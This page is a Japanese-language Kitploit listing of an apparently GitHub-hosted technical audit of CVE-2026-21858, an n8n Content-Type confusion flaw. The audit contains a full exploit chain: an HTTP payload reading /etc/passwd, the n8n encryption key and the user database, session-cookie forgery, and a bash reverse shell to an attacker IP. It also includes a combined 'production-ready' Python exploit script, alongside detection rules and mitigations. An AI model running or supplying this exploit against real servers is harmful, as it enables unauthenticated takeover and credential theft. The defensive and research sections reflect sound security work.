Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit — # CVE-2026-21858の技術監査と再現:Content-Typeの混乱を悪用したn8n RCEチェーンによる任意ファイル読み取り、セッション偽造、コマンド実行 | Kitploit
ツール/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング厳選リソース
GitHubsastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit

SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit

# CVE-2026-21858の技術監査と再現:Content-Typeの混乱を悪用したn8n RCEチェーンによる任意ファイル読み取り、セッション偽造、コマンド実行

リポジトリを見るウェブサイト
48ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DOI = doi.org/10.5281/zenodo.18278825

ORCID = orcid.org/0009-0007-7728-256X


[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - n8n RCE フルチェーンエクスプロイト

  1. エグゼクティブサマリーと概要 本書は、CVE-2026-21858 の脆弱性(内部名称: Ni8mare)に関する決定的な技術的再構築分析を提示するものです。この脆弱性は CVSS 10.0(Critical)のスコアを有し、n8n 自動化プラットフォームの Form Webhook ノード内で特定されました。この欠陥は Content-Type 混乱(Content-Type Confusion)の脆弱性であり、認証されていない攻撃者が任意のファイル読み取り、セッション偽造、そして最終的には「Execute Command」ノードを介した完全なリモートコード実行(RCE)を実行することを可能にします。

本技術監査は、Cyera Research Labs の Dor Attias 氏(2025年11月9日)による調査結果に基づいており、REmnux/Kali Linux ラボ環境向けのすぐに使用できる再現手順を含みます。

主要情報: 対象: n8n バージョン >=1.65.0 から <1.121.0。

攻撃ベクトル: ネットワーク(HTTP/HTTPS)。

複雑性: 低。

影響: 完全(機密性、完全性、可用性)。

EPSS スコア: 0.97(非常に高い悪用確率)。

  1. 技術的根本原因分析 この脆弱性の根本原因は、n8n の Form Webhook ノード内の prepareFormReturnItem() 関数にあります。技術的には、parseRequestBody() ミドルウェアが Content-Type ヘッダーに基づいてデータをルーティングします:

通常のフロー: multipart/form-data リクエストは parseFormData()(Formidable パーサーを利用)によって処理され、req.body.files オブジェクトを正しく設定します。

脆弱な条件: 攻撃者が Content-Type: application/json のリクエストを送信した場合、ミドルウェアは parseBody() を呼び出します。送信された JSON はその後、追加の検証なしに直接 req.body に解析され、致命的に req.body.files プロパティを上書きします。

悪用: formWebhook -> prepareFormReturnItem() 関数は、JSON で提供されたファイルパスを信頼して copyBinaryFile(req.body.files[0].filepath) を盲目的に呼び出し、それによって任意のローカルファイルをアクセス可能なワークフローストレージにコピーします。

  1. ラボ環境のセットアップ この攻撃を隔離された環境で安全に再構築するには、脆弱な n8n イメージで Docker を使用します。

前提条件: Docker および Docker Compose。

requests、pyjwt、cryptography ライブラリを備えた Python 3。

シェルキャプチャ用の Netcat (nc) または Burp Suite。

デプロイ手順: 脆弱なインスタンスを実行:

Bash

docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0 管理者初期化: http://localhost:5678 にアクセスし、管理者アカウントを作成します(例: [email protected] / Password123!)。

ワークフロー設定: 「File Upload」フィールドを含む「Form Trigger」ノードを使用して新しいワークフローを作成します。ワークフローをアクティブ化し、「Test URL」をメモします。

  1. 完全な悪用チェーン フェーズ 1: 任意ファイル読み取りプリミティブ 目的は、Content-Type 混乱を悪用して機密性の高いシステムファイルをコピーすることです。

HTTP リクエストペイロード:

HTTP

POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0

[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] 戦略的ターゲット:

/home/node/.n8n/config: N8N_ENCRYPTION_KEY を窃取するため。

/home/node/.n8n/database.sqlite: ユーザー資格情報のハッシュを抽出するため。

フェーズ 2: 認証バイパス(セッション偽造) 暗号化キーとユーザーデータを取得したら、n8n-auth クッキーを偽造できます。

セッション偽造ロジック:

ペイロード: {"userId":1, "hash": sha256(email + password).slice(0,10)}。

署名: N8N_ENCRYPTION_KEY を使用して HS256 アルゴリズムで署名。

結果: 生成されたクッキーにより、通常のログインプロセスを経由せずに完全な管理者アクセスが可能になります。

フェーズ 3: リモートコード実行(RCE) 管理者として(偽造クッキーを介して)、「Execute Command」ノードを含む新しいワークフローの作成を自動化できます。

コマンドペイロード: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"

  1. 本番対応エクスプロイトスクリプト(Python) 以下は、上記のすべてのフェーズを組み合わせてゼロからシステムシェルを取得する統合(単一実行可能)エクスプロイトスクリプトです。

Python

#!/usr/bin/env python3

=============================================================================

Ni8mare Full RCE Chain - CVE-2026-21858 (CVSS 10.0)

Reconstructed for SASTRA_ADI_WIGUNA Elite Teaming Analysis

=============================================================================

import requests, json, hashlib, jwt, time

class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()

root@kitploit:~
def read_file(self, path, name):
    """Phase 1: Arbitrary File Read via Content-Type Confusion"""
    print(f"[*] Attempting to read {path}...")
    payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
    headers = {'Content-Type': 'application/json'}
    r = self.session.post(self.webhook_url, json=payload, headers=headers)
    return r.status_code == 200

def forge_session(self, email, password, key):
    """Phase 2: Cookie Forgery"""
    hash_src = email + password
    h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
    payload = {'userId': 1, 'hash': h}
    cookie = jwt.encode(payload, key, algorithm='HS256')
    self.session.cookies.set('n8n-auth', cookie)
    print(f"[+] Forged Cookie: n8n-auth={cookie}")

def trigger_rce(self, lhost, lport):
    """Phase 3: RCE via Workflow Automation"""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    wf_payload = {
        "name": "Ni8mare RCE",
        "nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
        "active": True
    }
    r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
    print("[!] RCE Workflow Deployed. Check your listener!")

Usage example:

exploit = Ni8mareExploit('http://target:5678', 'abc123')

  1. 検知、フォレンジック、および侵害指標(IOC) セキュリティ運用チーム(Blue Team)向けに、Ni8mare の悪用試行を検出するために使用できる以下の指標を示します:

ネットワーク指標(IDS/IPS): Suricata シグネチャ: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)

異常: /webhook/*/form-endpoint エンドポイントに送信される Content-Type: application/json の POST リクエスト。

ホストベースのフォレンジック: ファイルシステム: システムデータ(例: /etc/passwd)を含む ~/.n8n/files/ ディレクトリ内の不審なテキストファイルを検索します。

ログ: multipart データを伴わない prepareFormReturnItem 関数のアクティビティについて n8n ログを監査します。

Docker Inspect: イメージのバージョンが 1.121.0 未満であることを確認します。

  1. 緩和策と是正措置 即時パッチ適用: n8n をバージョン 1.121.0 以降に更新します。このパッチには、prepareFormReturnItem によって処理される前にファイルオブジェクトに対する content-type 検証が含まれています。

回避策: パッチ適用が不可能な場合、Web アプリケーションファイアウォール(WAF)を使用して /webhook エンドポイントへのアクセスを制限し、不審な JSON リクエストをブロックします。

ネットワークセグメンテーション: 侵入発生時のラテラルムーブメントを防ぐため、n8n インスタンスを機密性の高い内部ネットワークから分離します。

  1. MITRE ATT&CK マッピング 初期アクセス: T1190(公開アプリケーションの悪用)

実行: T1059(コマンドおよびスクリプティングインタープリター)

永続化: T1098(セッション偽造によるアカウント操作)

データ流出: T1083(ファイルおよびディレクトリの探索)

免責事項: 本分析は、Master SASTRA_ADI_WIGUNA の指示のもと、教育目的、セキュリティ監査、および専門的なサイバー防御のためにのみ提供されます。本情報を違法行為に悪用した場合の責任は、すべて操作者に帰属します。本番環境へのパッチ適用は必須です。

ツールをダウンロード